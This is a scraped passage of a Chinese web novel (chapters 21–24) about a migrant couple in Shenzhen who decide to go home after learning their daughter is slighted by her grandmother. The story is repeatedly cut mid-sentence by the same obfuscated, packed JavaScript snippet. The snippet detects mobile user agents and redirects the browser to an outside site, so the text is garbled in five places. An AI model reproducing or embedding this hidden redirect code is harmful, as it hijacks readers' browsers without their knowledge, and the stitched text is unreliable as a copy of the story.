果然刚洗好手脚,在饭桌前坐下,就听到大儿媳大声说:“爸、妈,今天老三夫妻俩打电话回来,说他们今天寄钱回来了,让你们有空去邮局取钱,我本来以为年底了,他们会多寄点钱孝敬你们,谁知道还是只寄四百,你们俩给他们带孩子,这没有功劳也有苦劳啊……” “行了,我们哪家孩子没给带过?”宁老太黄秀华咽下嘴里的饭,眼神都没给她一个,“老三夫妻俩还背着债呢,他们出门在外混口饭吃也不容易,我们老两口还能动,用不着什么孝敬,要真给,就三个儿子都给!” 一句话,让王海燕彻底不敢吭声了,三个儿子都给?拿什么给?拿他们两口子的命给吗? 她眼睛瞥向公公宁达,老头以后八成是要跟他们家过的,怎么也得说句公道话吧? 然而老头仿佛什么都没听到,只管照顾小孙子小孙女吃饭。 他径自夹起一个大鸭腿,一点磕巴也不打,稳稳当当地放在了宁时夏的小碗里,然后又夹了另一个被砍做大腿状的翅腿,放在宁时秋碗里。 王海燕再一看丈夫和儿子女儿,这三个也是光顾着埋头吃,两个大鸭腿,一个都没落到自己人嘴里,他们也没反应! 自己费尽心思算计是为了谁?还不是为了他们! 王海燕不由泄了气,只敢在心里暗自埋怨婆婆偏心小儿子。 吃完饭,眼看婆婆要出门遛弯,王海燕急忙打起精神,拿出几张毛票走到婆婆面前:“妈,最近这段时间肉涨价不少,你上次给的买肉钱只剩这些了,你看……” 黄秀华瞥一眼她手上那点钱,对于大儿媳的小心思心知肚明。 但是老大夫妻俩都在家务农,收入是她所有儿女里最低的,老大又爱跟那些狐朋狗友到处混,当爹妈的说也说不得他。 黄秀华没办法,只能在这上面补贴一些,不然总不能看着其他儿女好吃好喝,大儿媳带着大孙子大孙女吃糠咽菜吧。 “知道了,老三今天刚给家里寄钱,没那么快能取,这几天别买肉了,先用上回炸猪油剩下的猪油渣炒菜吧。” “好,那过几天你别忘了去取钱,”王海燕不放心地提醒,还把宁时夏拉出来当借口,“小夏那丫头嘴巴刁得很,总吃猪油渣炒菜,她肯定不乐意。” 黄秀华一听脸色果然不太好:“都是老三惯的!” 老三在家的时候,他女儿要什么他给买什么,钱不够甚至出去跟别人借钱都要买,黄秀华想违心说是老三媳妇儿娇惯孩子都说不出口。 “小姑娘家家嘴巴那么馋像什么样子!”黄秀华看向大儿媳,“老三夫妻俩不在,我们平时要忙地里的活,你在家空闲的时候,抽空多教教那丫头,让她多跟丹萍学学 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14448033|153824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,要不走出去别人该笑话我们家不会教女儿了!” 自己的女儿得到婆婆的认可,王海燕一改吃饭时那苦大仇深的模样,喜滋滋地应下。 转头就去找正在看动画片的宁时夏,准备叫她跟自己去菜地里清一下杂草。 她家丹萍可是三四岁就会跟着自己下地干活捡柴的,在家还会扫地,洗自己的衣裳,五岁就会做饭,那时候谁不夸她会教孩子? 王海燕是真心觉得自己这样教是为了孩子好,既然婆婆让自己来教,那就是对自己的肯定,她绝对不藏私。 谁知走到堂屋,却看到赵如月她亲妈坐在宁时秋兄妹俩身边,正笑眯眯地从口袋里掏出一小把水果糖,分给他们兄妹俩。 “小秋他外婆吃了吗?”王海燕走过去打招呼,面对外人的时候她一贯表现得直爽大方、心直口快的样子,“怎么这个点才来,今天家里吃烧鸭呢,你该早点来,还能跟我们一起吃点!” “我就是吃饱了随便来看看,”往常即使两家离得近,作为女儿娘家的长辈邓细妹也是不常来的,“顺便跟小秋和小夏他们爷爷奶奶商量一下,过几天带他们去吃满月酒。” 王海燕一听是吃席,眼睛就亮了,按他们这里的习俗,吃席是可以打包好肉回来的:“满月酒?去谁家?” 邓细妹说:“我小女儿,也就是小秋小夏的三姨家。” “嫁到省城那个?哎哟,那满月酒不得办上百桌啊?” 邓细妹摆手:“不是嫁到城里,只是省城周边的村子,也是普通人家。” 两人正说着,黄秀华也出来了。 邓细妹正好跟她商量:“如月跟她小妹没出嫁前关系最好,她跟绍明在鹏城回不来,我就想着让小秋和小夏代表他们爸妈去一趟。” 两个孩子都还小,黄秀华有点犹豫:“带他们去,坐车挺麻烦吧?” “不麻烦,我们赵家族里好几个人一起去,商量好了包一辆面包车,直接从家里出发,不用转车,”邓细妹顿了顿,补充道,“上礼的钱,如月今天寄给我了。”意思是,不用黄秀华从他们寄回来的生活费里出。 她这么一说,黄秀华就没再反对。 * 鹏城这边,赵如月和宁绍明难得在外面下一回馆子,两个人却都有些食不下咽。 他们原本打算给家里寄钱打电话后,趁着时间还早,顺便在外面逛逛街。 可现在谁也没了逛街的心情,吃过饭就回去了。 几天后,宁绍明已经返工,赵如月继续待在家里休养。 宁时秋和宁时夏也穿上他们最好的衣服,开开心心地跟着外公外婆坐上大汽车吃席去! 21. 第 21 章 餐饮行业上班的时间跟其他行业不一样,别人下班吃饭的时间,正是他们忙碌的时候。 宁绍明动了个小手术,这些天比较注意不让自己太累,没有以前那么拼了,因此没少被一些人说酸话。 好在他怎么也算个师傅了,技术也过硬,那些酸话对他没多大影响,只是多少有些影响心情。 他又不是爱跟人争辩的性格,有时不小心听到,也只闷在心里,那感觉不好受,但还能忍。 只是好几个让他不小心听到的人,似乎都是厨师长的徒弟,这让宁绍明隐约有些不安。 赵如月提前去邮局买电话卡,排队,等下午两点多三点这个时间段,吃饭的客人减少,轮到后厨的人吃饭。 宁绍明没跟同事一起吃员工餐,他打包了两份饭往邮局赶去。 他到的时候,赵如月已经儿女、父母和妹妹聊了有一会儿。 见宁绍明来了,赵如月把话筒交给他,她虽然不怎么饿,也接过一份饭到外面去吃。 电话的那头是岳父岳母,宁绍明跟他们也聊了几句,那边的话筒就交到了他的儿女手上。 宁时夏上次跟爸妈通过电话,觉得那次哥哥没赶上,这次应该让哥哥多跟爸妈说说话才公平,拿到话筒只跟爸爸妈妈打了个招呼,就跑出去跟三姨家的表姐表哥们玩了。 宁绍明跟以前一样,先是问儿子在家怎么样,有没有听爷爷奶奶的话,去学校上学有没有认真读书,平时有没有帮着爷爷奶奶照顾妹妹? 宁时秋都一一回答了,宁绍明夸了他几句,觉得儿子很懂事,应该多给他个奖励。 就问儿子:“上次我跟你妈给家里打电话,小夏应该跟你说了吧?等我们回去会给你买一辆自行车,除了这个,你还有没有什么想要的?” 宁时秋想了想摇头,摇头完想起爸爸看不见,忙对着话筒回答:“不用,我什么都不缺,不过……” 他停顿了一会儿,宁绍明耐心等着。 宁时秋左右看看,发现外公外婆和三姨不知道什么时候全都出去了,屋里只剩下自己一个人,才放心对电话那头的爸爸说:“你跟妈妈多给妹妹买点衣服裤子和鞋子吧,我看妹妹冬天穿的衣服裤子都短了一小截,她还说鞋子挤脚,走路快了脚疼,她都不敢跑步了。” 衣服裤子短了?鞋子挤脚? 宁绍明诧异地想,之前老家刚入冬的时候,他妈给他们打电话,说两个孩子去年的衣服鞋子都不能穿了,让他们多寄点钱,给两个孩子买过冬的衣服。 这才过去一个多月,没道理孩子的新衣服就穿不下了,更何况老人给孩子买衣服,总喜欢往大一号买,只有穿着太大,没有穿着短的道理。 可宁绍明了解自己儿子,才几岁就跟个小大人似的,聪明又懂事还特别靠谱,他不觉得自己儿子会撒谎。 “妹妹还在穿去年的衣服啊?”宁绍明问。 宁时秋又摇头说:“不是的,她穿奶奶从二伯家带回来的衣服,说是去年二伯家的妹妹生日,她舅舅姨姨们给她买的衣服,看着还很新,今年却穿不下了,奶奶就带回来给妹妹穿了。” 说着宁时秋感觉有点羞愧,奶奶带那些衣服回来的时候,也给他带衣服了。 他听奶奶说衣服是从二伯家带回来的,还以为自己的那些也是,毕竟那些衣服上都没吊牌,他就没多想。 反正周围小伙伴也没少穿哥哥姐姐们淘汰的旧衣服,大家都是这么过,从来没觉得这有什么不好。 后来宁时秋发现妹妹的衣服不合身,自己的穿着很合适,才意识到可能有问题。 二伯家只有一个比自家妹妹大一岁的二妹,二伯娘的娘家哥哥姐姐生的也都是女儿,哪来这么新、这么好的男孩子穿的衣服给奶奶带回来? 宁时秋对这事上心后,更注意观察身边人穿的衣服,陆续发现更多有问题的证据。 其中一个是在学校发现的,他有一件好看的外套,是今年才在同学们之间流行起来的花样。 于是宁时秋有些难过地意识到,特别疼自己的奶奶,竟然区别对待妹妹。 公平这两个字,对于孩子来说可太重要了,哪怕收到不公平对待的人不是自己,他依然十分难以接受。 更难受的是他还不知道该怎么办,不知道该跟谁说,因为家里其他人都没认为这是什么值得重视的事,觉得小孩子有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14457538|153824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的穿就不错,更别说还有这么多。 现在爸爸一问起来,宁时秋像是找到了倾诉的口子,一股脑把事情全倒出来了。 宁绍明在电话这头默默地听着,心像是被什么东西狠狠掐住,疼得很。 “爸爸知道了,”他喉咙有些干,语气艰涩,“等我和你妈妈回家,一定多给妹妹买几套衣服。” “还有鞋子,”宁时秋提醒道,“现在学校的小女孩流行穿一种白色的靴子,上面有白色毛毛还有须须垂下来,还有亮晶晶的钻石,妹妹跟我说羡慕别人的靴子好几次了。” 宁绍明一个大男人,这会儿听得都想哭:“好,都买。” 他说着话的同时,不禁在心里想,要是自己跟老婆在家,哪至于让女儿那样羡慕别人家的孩子? 靴子也许只是女儿羡慕别人有的其中一样,没说的可能更多,大概也不是什么很贵的东西。 如果他们夫妻俩在家,这点东西,他家孩子根本不需要眼巴巴地羡慕别人。 以前哪怕再穷,在孩子的吃穿和学习上,他们也从没含糊,没道理现在挣着钱了,自己的孩子却过成这样,还不如他们在家的时候呢! 而且儿子只说了妹妹羡慕别人有好看的靴子穿,却没提到他自己。 宁绍明往常总觉得儿子是哥哥,得有个哥哥的样子,要多照顾妹妹。 现在他突然意识到,儿子哪怕是哥哥,也还只是个才几岁大的孩子,他不该担起照顾妹妹的责任,那原本是父母该担的责任。 听到爸爸答应下来,宁时秋就放心了,爸爸妈妈从来没有说话不算话过,他很相信他们。 等电话卡的钱花完,挂了电话,也快到宁绍明上班的时间了。 赵如月看着他的神色不太好,但没多问,只让他赶紧填饱肚子:“快点吃,炒菜也是力气活,不吃饱可不行。” 宁绍明接过她拆开的一次性筷子,低头快速往嘴里扒饭,却感觉自己往常最喜欢的扣肉吃进嘴里没滋没味的。 赵如月坐在旁边的台阶上,看他吃了几口,又忽然停下,抬头看向她。 “小月,我们回家过年后,要不,还是不出来了吧?” 22. 第 22 章 家里老娘克扣他给女儿买衣服的钱,对女儿不好这件事,让宁绍明太过震惊。 以至于他把今天给儿子打电话的最初目的——大嫂是不是经常在他们耳边乱说话这事,忘了个一干二净。 不过现在答案对他来说,已经不重要了。 连他亲妈都对他的孩子区别对待,更何况大嫂? “回就回吧,这事我没意见。”赵如月早就有回老家的想法,只是碍于宁绍明喜欢现在的工作,即便她知道,但凡自己提出来,宁绍明就极少有不同意的,她也一直没有明说。 毕竟回老家要想过得好,免不了动用到高家赔给她的那十万块钱。 赵如月知道宁绍明对这钱的看法,他肯定觉得那些钱算是她用命换来的,用来还欠债也就罢了,平时生活花销和建房子再用这些钱,他觉得不得劲。 感觉自己像个吃软饭的,吃的还是老婆的‘血肉’。 男人嘛,不管脾气多好,多少会有点爱面子的毛病,社会环境和成长环境如此,宁绍明算好的,却也沾染了少许这毛病。 按照宁绍明以前的想法,这笔钱能别用还是别用,就留着给赵如月傍身。 他们夫妻俩可以用今年存下的钱,偿还老家的欠款。 至于建房子的钱,明年、后年再攒两年,也够回去建房了。 老家材料成本低,建房的人手可以找邻居和他的那些发小兄弟们。 但是这些想法,在孩子受的委屈面前,全都得让路。 “孩子一眨眼就长大了,”赵如月坐在邮局外的台阶上,托着下巴看向远处,眼神却没有焦点,“我们刚出来一年不到,现在孩子们还跟我们亲得很,可等过几年,孩子遇到事,爸妈摸不到、碰不着、帮不上,离着他们那么远,不大不小的事,不等我们赶回去事情都解决了,最后大概只能选择不回去,在电话里安慰一两句,一个不留神,孩子可能就跟我们不亲了。” 宁绍明顺着她的话,想象那样的未来,明明下午太阳十分灿烂,他却打了个冷颤,心脏抽痛。 “我下午就去跟经理说,干到腊月二十三就不干了。”钱什么时候都能挣,孩子的成长错过就是错过了,可没有后悔药吃! 赵如月拍了他一下:“你傻呀!拿了年终奖和年终过节福利再说!提前说酒店不准备你那份怎么办?” 宁绍明还有些不好意思:“我才干不到一年就要走,怎么好意思拿那些……” “你工作的这几个月没认真干活?还是干得比别人少了?”赵如月可知道,他休息时间都去酒店帮忙的。 经理说给他加班费,他都坚决不要,现在拿个年终奖和过节福利怎么了? 虽然进去不到一年,那点年终奖八成也没多少,但是酒店的年终过节福利应该不错,不过这两个加起来也不够加班费的。 “那倒没有,我平时干的比其他师傅都多。”宁绍明说着,不禁想到最近听到的那些酸话。 他这时忽然意识到,自己以前认为其他师傅对自己升职那么快没意见,会不会只是自己以为? 再加上他休息日都去酒店帮忙干活,貌似也太过勤快了,这样似乎对同事不太友好? 宁绍明决定等会儿回去,隐晦地在厨师长面前透露一下,自己回老家过年后,不再来鹏城的事。 吃完不算午饭的午饭,宁绍明回去上班,赵如月回出租房休息。 她还在坐小月子呢,得再好好休息个十几天。 如果不是她身体好,身体早就没什么难受的地方了,做小月子也没生完孩子坐月子那么讲究,最近天气又暖和,这段期间她也不敢出门。 确定过年回老家后不再来鹏城,赵如月心头又一件大事放下,她休息得更好了。 宁绍明回去上班后,在忙过晚上酒店客流高峰期,轮到他们吃晚饭的时间,他趁着只有自己跟厨师长在的机会,跟厨师长闲聊拉家常。 两人闲聊间提到各自老家,宁绍明说几句就叹气。 厨师长追问了两三次,他才一脸为难地小声说:“我就是担心家里的孩子,爷爷奶奶带着总不如我们当爸妈的亲自带着放心,我跟我老婆打算过年的时候,回去看看情况怎么样,然后再做打算,要是老家那边还是不能让我们放心……” 他话没说完,厨师长也明白了,还意思意思地劝了几句,宁绍明一个劲地摇头叹气,他就没继续劝。 晚上下班,他发小黄文发还紧张兮兮地把他拉到角落,告诉他:“我偷听到有几个孙子,仗着在酒店有点关系,暗地里开小会密谋,想找你的茬,你这几天多注意点,别被人算计了!” 然而这天过后,那些说酸话的人一夜间消失无踪。 原本想给宁绍明找茬的几个人,仿佛跟他是多年认识的兄弟似的,哥俩好地经常给宁绍明打下手帮忙。 宁绍明甚至觉得工作期间,一切流程顺滑无比,那是他之前从没享受过的。 这时他才后知后觉, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14464276|153824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己貌似并不是近期才被人为难。 只是他第一次做后厨的工作,在这方面又有点迟钝,才没察觉出来。 宁绍明想想竟然觉得有点好笑,他回去还当个笑话说给赵如月听:“后厨那些打下手的人,背地里耍小动作,我一点反应都没有,他们估计也纳闷,自己的手段怎么没派上用场。” 赵如月也觉得他心大:“真是傻人有傻福,幸亏你们酒店领导对后厨管得严,那些人也只能耍耍这点上不得台面的小手段,还不敢真的耽误你工作,要不然就是他们自己吃不了兜着走了,他们心里肯定郁闷死。” “可不是么,不过也不是所有人都看我不顺眼,在背地里耍手段,大部分同事还是很好的。”宁绍明依然有点舍不得现在的工作,但这点不舍跟孩子比起来,已经无关紧要。 时间会将它们冲淡,最后变成打工生涯的美好回忆之一。 辞职这事,宁绍明可以暂时不跟酒店里的其他人说,却不能瞒着自己的发小黄文发。 毕竟当初是他先来酒店干活,觉得酒店后厨待遇不错,又带着发小一起来。 总不能他一声不吭走了,把发小一个人撂在这里,怎么也得提前说一声。 黄文发听宁绍明说,要放弃酒店后厨的高薪工作回老家这事之后,脑子懵懵的。 虽然两人从小一起长大,但黄文发一直无法理解兄弟这一点,他这兄弟怎么总跟个女人一样,发现孩子受点委屈就接受不了,难受得像是他自己受了多大委屈一样。 孩子是由亲爷爷奶奶带着,老人又没虐待孩子,受这点委屈算得了什么?哪个当家长的不偏心?差不多过得去就得了! 现在的孩子过得再不好,能有他们小时候艰难? 他觉得兄弟这回真的是本末倒置了,男人不就应该在外面打拼,多挣点钱吗? 多挣钱才能给孩子更好的生活,分隔两地怎么了?现在谁家不是这样? 黄文发看向宁绍明身边的赵如月,赵如月正在吃水果。 那些水果,全是宁绍明洗干净,该剥皮的剥皮,该切的切成小块,放盘子里让她用叉子插着吃的。 这兄弟媳妇,成天事多娇气得很,不知道的还以为她是什么大小姐,也就宁绍明受得了她。 赵如月注意到黄文发的目光看向自己,用头发丝思考都知道他在想什么。 她翻个白眼瞪过去:“看什么看!你不会以为是我闹着要回去,他才非要回去吧?” 23. 第 23 章 “除了你,还能有谁劝得动他回去?难不成是我啊?”黄文发跟赵如月也是发小,他俩小时候调皮犯贱招惹她,经常被她揍得嗷嗷叫。 互相之间熟得很,说话从来不知道什么叫客气。 “放狗屁!”赵如月毫不客气地怼回去,“少冤枉人,这回看在小丽的面子上,我不跟你一般见识。” 要是在小时候,她一脚就踹过去了。 但是现在大家都结婚了,关系再好也得注意分寸。 宁绍明看兄弟误会了,赶忙解释:“这事真是我自己的想法,小月听我的。” 黄文发一脸嫌弃:“得了吧,还她听你的,你就是那个什么……后厨四川来的那个靓仔说的,那个什么来着?哦对,耙耳朵!” “什么耙耳朵!就算是耙耳朵又怎么了!”不等宁绍明继续解释,赵如月已经为自己老公出头,“鹏城人都说,男人听老婆的话,会发达!” 黄文发的老婆吴丽坐他身边,猛地扑过去按住他:“小月,不用顾着我面子,我帮你把他按住,你收拾一顿他个嘴欠的!” “你怎么胳膊肘往外拐!”黄文发大声抱怨,“你看看人家夫妻俩,多团结!” 吴丽:“就你这嘴,谁能跟你团结得起来!” 他们夫妻俩打打闹闹,旁边两个也不去劝。 认识这么久,都知道他们夫妻俩的相处模式就是这样,谁去劝谁倒霉,让他俩闹一会儿也就停了。 确认宁绍明辞职的决定真的不会更改,黄文发也不好再多说多劝。 只能尊重兄弟的决定,做好以后没有熟人在后厨帮忙的心理准备。 他们已不是年轻气盛的少年人,不会意气用事地说什么兄弟走自己也跟着走,毕竟现在都是有家有口的人,得更多地为自己的家庭考虑。 这个工作比在工厂里轻松,工资高、福利待遇好。 只凭这些,就算在做菜上再没天分,只能一直做打荷的活,他也得坚持下去。 “别的都好说,只是房子又要重新找了。”黄文发有点发愁。 这房子采光不太好,但位置是真好。 离公交站、商场、超市、步行街、菜市场、医院都很近,步行都能到,去黄文发和吴丽上班的地方,乘公交车去也不算远。 房子看起来旧是旧点,实际保持得还是很不错的。 它最大的缺点就是房租贵,合租比较划算,单一家租的话,花费的房租,对他们这种只在睡觉时间和难得的休息时间,才待在家的人来说,有点划不来。 宁绍明心里挺过意不去,就说:“改天我帮你问问房东,看看他在附近有没有空着的单间。” “别的不说,单间肯定有啊,”赵如月说,“就怕你们嫌晦气,不想租。” “你的意思是……”宁绍明跟赵如月对了个眼神,明白了她在说哪间。 黄文发看看这个又看看那个:“你们俩别打哑谜啊!” 宁绍明告诉黄文发:“她说的是卢秋英和孙洪光之前租的那间,那两个人犯事进去,房东已经把他们的房子收回来,不租给他们了。 房子里的东西被我砸坏,房东扣了他们的房租和押金当赔偿,正打算用那些赔偿给那间屋子换几样新家具。” “有新家具,那倒是挺不错的,”黄文发也去过那间房,“就是面积小了点,采光也不如我们这间。” 吴丽不想搬到陌生的片区,去别的地方租房,又要费劲重新跟不知好坏的新房东打交道。 她说:“我觉得那房子挺好,人家房东的房子,只是租给卢秋英他们俩住,又不是给他们了,怕什么晦气,租谁的房子都是租,换了别的地方难道就很好? 这个房子只是上一任租客犯了事,换另一家,万一以前房子里死过人,我们也不知道啊!” 黄文发若有所思地点头:“这话有道理。” “这事宜早不宜迟,我明天就去帮你们问问房东?”赵如月放下叉子,“反正我在家闲着也是闲着,你们最好早点定下来,免得房东租出去了。” 宁绍明附和道:“对,最好过年回家前就定下来,要不过年后来鹏城打工的人多,找房子租的人也多,到时候合适的房子不好找不说,没准房租还要涨。” 吴丽看向赵如月:“那麻烦你了小月。” * 赵如月去找陆发的时候,陆发听她说,他们夫妻俩过完年就不来了,觉得十分可惜,还反复劝了好几次。 甚至提出给他们免费住现在租的房子,可赵如月回老家的心十分坚定,陆发劝不动只好作罢。 不过之前宁绍明交的三个月租金,还有以前交的押金,陆发说什么都要现在就退给她。 赵如月也不矫情地跟他客气了,一个月房租六 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14468334|153824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 百,分到两家人头上,每家三百,三个月的房租加上退回来的押金,比她一个月的工资还多呢。 先前陆发带着家人跟周家一起,正式去给赵如月夫妻俩道谢的时候,没提房租的事。 他原本是想减免一部分房租,又怕赵如月和宁绍明两个老实人觉得不好意思,会拒绝这个提议。 于是想着等三个月以后,他们交房租的时候再和他们提这个事,以后他们租多久就给他们减免一半房租多久,彻底还上人情,没想到他们年后就不来了。 陆发感觉十分遗憾,心里琢磨着,要从其他地方补上。 “你们回老家有没有想过做什么营生?”陆发斟酌了一会儿,问赵如月,“不会回去还继续种地吧?种地可挣不了多少钱,又辛苦得很。” 他知道高家给了他们夫妻俩一笔赔偿款,但不知道具体金额。 他跟以前赵如月认为的那样,以为顶多给个三五万的,这点钱想多花两年都得特别节省地花。 陆发就想着,不如趁这个机会,彻底把欠他们夫妻的人情还上,要不心里总惦记这事。 赵如月听话听音,完全没料到来这一趟竟然还有这样的惊喜。 她意识到,房东可能是想给他们介绍一个,他们在老家也能做的小生意。 赵如月试探着说:“我们还没想好,不过我家绍明有手艺,回去后可能先摆个摊试试水,要是生意不错,就开个小店。” 她说话的时候注意着陆发的神色,发现他听完自己的话,露出有些遗憾的表情。 立刻补充道:“他擅长厨房里的活计,我不太擅长,可能我也自己弄个小摊摆摆,卖点小商品。” “这就对啦,做点小生意,就算挣得不多,也比面朝黄土背朝天好,”这下陆发觉得自己能帮上忙,神色好多了。 他笑着说:“我家和周家有好几个开工厂的亲戚,你们要是没有合适的货源,可以去他厂子里批发,我介绍过去的人,不管拿多少货,他都一定给你们最低的出厂价,等你们什么时候有空,我可以先带你们过去看看。” 赵如月压制住激动的心情说道:“那太好了,多谢你帮忙牵线,到时候我让绍明早几天辞工,等进了一月份,人家厂里不那么忙,再跟你去看看,可以吗?” “可以可以。”陆发乐呵呵地应下,“到时候你们提前一天跟我说就行。” 24. 第 24 章 这天晚上,宁绍明下班回来,兜头就被这个完全没想过的惊喜砸晕了。 他做出回老家这个打算的时候,确实想过回去后靠着手艺在老家混口饭吃。 但完全没想到过走卖小商品这条路,毕竟拿是他从来没有接触过的领域,他有些不自信。 “我们以前没做过这个,贸然去做真能成吗?万一亏本怎么办?” 他上来就说丧气话,赵如月很想怼他。 但看在他平时对自己那么好的份上先忍了:“没试过怎么知道做不成,亏就亏呗,在老家实在不行还能种地,再亏也饿不死。 不过我知道你对这方面不擅长,以后你还是做你的餐饮,我来卖小商品。” 宁绍明还是不太乐意:“那我们俩不是得分开?” 他看别人做买卖,不管是摆摊还是开店,刚起步的时候都是夫妻档,一家子劲儿往一处使。 “我又不跑外地去,怎么就是分开了?”赵如月觉得不怼一下这家伙真不行,“我们俩以前一个在厂里干活,一个在酒店干活,离那么远,也不见你这样,怎么一说老家就成没断奶的娃了?你都这么大年纪了,还没断奶,离不开新‘娘’啊?” 宁绍明听到后面没忍住笑出了声,抱住赵如月隔着被子,故意把头埋进她胸口:“我可不就是离不开么。” 被怼还笑得那么灿烂,赵如月算是知道了,男人就是欠,以后该怼就不该忍着。 她伸出一根食指,点住宁绍明的额头,把他推到床的另一边去:“你可给我消停点,现在我们俩都是负伤人员,那些少儿不宜的事,别说做,想都不许想!” 宁绍明顺势躺下,侧头看向赵如月:“真决定了要卖小商品?家里不一定支持我们做小买卖,而且用家里的地方,我那些兄弟嫂子们肯定有意见,除非把这生意做成公中的生意,但你肯定不乐意。” 赵如月说:“那当然,现在看起来是没正式分家,可你们兄弟三个已经各自成家了,按照老家的规矩,那就算三家人,混在一起,以后这事说不清楚。” “街上的店面不好找,近些年大家都知道做生意挣钱多,临街和靠近即使的房子人家都自己开店做小买卖了,没什么人转店铺,出租的也少。 找不到合适的店面,又没法用家里的地方摆货,你可能真得去街上的集市摆小摊。”宁绍明真正担心的是这个。 他也是出来城里之后才发现,他们老家有些现象奇怪得很。 就说做生意这事,要是谁要是一上来就开店,并且成功站位脚跟挣到钱了,很多人都会认为这个人有本事,正经是个老板。 要是谁一开始只是摆小摊,没个门面,绝大部分人面上笑呵呵叫他老板,背过身却会在暗地里议论人家,觉得摆摊真丢人现眼,能挣到钱也会被人看不起。 在老家人,尤其住在街上的人眼中,一旦谁摆摊,就仿佛多了一个不能考公的人生污点似的,很离谱。 提到谁摆摊挣钱,给家里添了什么好东西,有些人总会来一句:不就是个摆摊的,有什么出息,在街上摆摊,全家人的脸都让他丢完了。 刚开始做生意就开门店,与摆摊后挣了钱,再开店之间,他们也要比较个高低。 即使刚开始做生意就开店的那个人亏本,他们依然觉得,他就是比摆摊挣到钱再开店的人厉害、有面子。 最后形成了一个奇怪的鄙视链,一直摆摊,挣了钱也不搞店面的人,成为了鄙视链的最底层。 不过宁绍明见得多了,心里很清楚,许多维持这条鄙视链的人,说白了,就是装模作样的穷讲究,外加嫉妒人家能挣钱。 宁绍明对此无法理解,但如果他们以后要长期待在老家,还要做老家人的生意,自家孩子也还要跟街上的小孩玩,有些事就不能别人硬顶着来。 他原先打算,回去后在家里那块空着的宅基地上,先建一个小平房,自己买砖块和水泥,简单搭建,花不了几个钱。 那个空宅基地暂时用不上,他们临时用一段时间,家里其他人不会有意见。 等小平房建好,他就在那里卖吃的,卖吃的有手艺门槛,家里其他人想抢都没法抢。 而且卖吃的,一开始不用多大的店面,建个能做饭、能放两张折叠小木桌的平房就行。 客人多的话,可以在宅基地没用上的空地,多摆几张桌椅,下雨撑篷布挡挡就行。 如果他们夫妻俩分开干,就要多建一间,他觉得划不来。 宁绍明跟赵如月说了自己之前的打算。 赵如月稍微一琢磨就明白了,他为什么觉得划不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14475669|153824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来:“你是担心分家的时候不好办?” 宁绍明笑着说:“我就知道你能明白我的意思,当初去你家提亲的时候,我爸妈亲口答应岳父岳母,以后会给我们分临街的房子,岳父岳母才答应让你嫁给我,但事情过去那么多年,就怕有意外。” 毕竟他是家里最小的儿子,分家应该在他结婚之后就进行,最迟也就是他有孩子之后。 可这件事,拖到他小闺女都能上学了。 赵如月斟酌了一会儿说:“其实我们回去就分家,直接要那块空地,自己建房,也不是不行。” “你认真的还是开玩笑?”宁绍明惊得坐起来,“不怕岳父岳母生气啊?” 她不怕她父母生气,他可还怕老丈人和丈母娘打上门来收拾他! 赵如月好笑地看他:“怕什么,我爸妈又不是不讲理的人,我们好好跟他们解释,他们会理解我们的。” “不管怎么说,我们真选了那块空地自己建房,这事也是我家出尔反尔,就算他们能理解,心里多少也会有点不高兴。”宁绍明心里仍然有顾虑,不过最让他不甘的,还是老房子的位置实在很好。 开门就是街,把一楼简单改一改,直接就能做生意,而这原本是他们可以拿到手的东西。 